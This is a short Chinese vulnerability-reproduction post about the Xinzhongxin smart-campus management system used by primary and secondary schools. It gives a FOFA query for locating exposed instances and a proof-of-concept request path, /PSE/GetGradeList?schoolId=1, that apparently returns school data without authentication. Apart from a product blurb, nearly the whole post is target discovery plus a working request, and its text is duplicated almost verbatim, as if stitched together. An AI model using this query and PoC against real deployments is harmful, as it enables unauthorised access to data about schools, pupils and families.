简介
新中新中小学智慧校园信息管理系统是一套专为中小学校园打造的集学生校园安全,家校互动,校园金融以及校园一卡通为一体的基础教育信息化整体解决方案。
漏洞复现
FOFA语法:
body="jwkqunline.html"
访问信息如下所示:
POC:
/PSE/GetGradeList?schoolId=1
拼接url返回信息如下所示:
http://ip:port/PSE/GetGradeList?schoolId=1
新中新中小学智慧校园信息管理系统是一套专为中小学校园打造的集学生校园安全,家校互动,校园金融以及校园一卡通为一体的基础教育信息化整体解决方案。
FOFA语法:
body="jwkqunline.html"
访问信息如下所示:
POC:
/PSE/GetGradeList?schoolId=1
拼接url返回信息如下所示:
http://ip:port/PSE/GetGradeList?schoolId=1